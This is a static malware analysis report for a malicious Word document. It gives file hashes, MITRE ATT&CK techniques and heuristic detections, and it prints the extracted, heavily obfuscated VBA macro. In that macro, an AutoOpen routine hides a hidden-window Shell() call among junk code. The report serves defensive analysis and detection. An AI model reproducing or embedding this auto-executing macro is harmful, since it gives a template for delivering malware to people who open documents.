Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81e21bfe4fe30a13…

MALICIOUS

Office (OLE)

137.4 KB Created: 2018-12-21 10:43:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: c9f2859018c25d9cfc4e006cfefb63ab SHA-1: 7b63f92a0d9ac3cae192c397eac85f1d21cf5bb4 SHA-256: 81e21bfe4fe30a13eb31afdc0a88c28bcaebaa02906bc024a23419072f3ac897
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The 'autoopen' macro is present and triggers the execution of the Shell() function, a common technique for downloading and executing additional malware. The macro code is heavily obfuscated with numerous variables, making it difficult to determine the exact payload or destination URL without further dynamic analysis.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6791499-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6791499-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4874 bytes
SHA-256: b914aaccd8ea334dd7a084d7065559dae75b8c526eae89f76f92e89cf1ef6fd9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "n3447212391522"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
  f475 = "o011"
  t799 = "d0928"
  C3123 = "Q6347"
  h82570669
  z036 = "v3621"
  N4174 = "L9228"
  E6310 = "b8225"
End Sub

Attribute VB_Name = "v61109261688230"
Function h82570669()
On Error Resume Next
   Select Case s348
         Case 685
            N509 = b292
            M5172 = Log(f965)
            d938 = f564
         Case 496
            d923 = b707
            F5959 = CBool(r875)
            K777 = Rnd(D6084 / Hex(H0025 * i1378 - X4437 / Int(443)) * 612 - 724)
      End Select
      B2425 = 599 - 620
      Set C005 = N967
   Select Case b075
         Case 510
            w5115 = h201
            Q567 = Log(z9140)
            G946 = f4457
         Case 524
            j3992 = l9518
            a8781 = CBool(T2163)
            n941 = Rnd(i6688 / Hex(S0275 * E0129 - z074 / Int(615)) * 305 - 336)
      End Select
      C1723 = 209 - 684
      Set n628 = m4893
   Select Case s067
         Case 874
            j185 = X496
            l5568 = Log(r5438)
            z9957 = f591
         Case 823
            E651 = G5612
            E4471 = CBool(G477)
            D0788 = Rnd(N1077 / Hex(Z358 * K8298 - m148 / Int(567)) * 423 - 708)
      End Select
      J4455 = 448 - 930
      Set b403 = X9957
   Select Case A777
         Case 73
            C9691 = v118
            w041 = Log(s8090)
            I040 = R7321
         Case 533
            n943 = H461
            V9491 = CBool(r973)
            w7762 = Rnd(d587 / Hex(W762 * d796 - D465 / Int(598)) * 153 - 246)
      End Select
      V343 = 294 - 815
      Set m800 = J3205
I959369 = Array(X37730522, w49939065, M530256, Interaction.Shell(("" + z88870447 + a20640474 + k16410859 + N76086 + n3447212391522.TextBox1) + L66746753 + K73659, 7 - 7), v94092, s5227284, T42539465)
   Select Case u265
         Case 548
            t880 = a8912
            D6541 = Log(G5895)
            G0387 = W8895
         Case 190
            r559 = H864
            O4996 = CBool(A835)
            f158 = Rnd(S743 / Hex(G312 * i758 - I9204 / Int(790)) * 681 - 866)
      End Select
      m138 = 182 - 232
      Set B138 = I162
End Function


Attribute VB_Name = "T844680895447"

Attribute VB_Name = "Z2069097"

Attribute VB_Name = "v70878401"

Attribute VB_Name = "S88135567024"

Attribute VB_Name = "R36086292610"

Attribute VB_Name = "B473625367642"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "o302469030"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "a20443976526"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "A0423100991002"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "T426027321"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribut
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.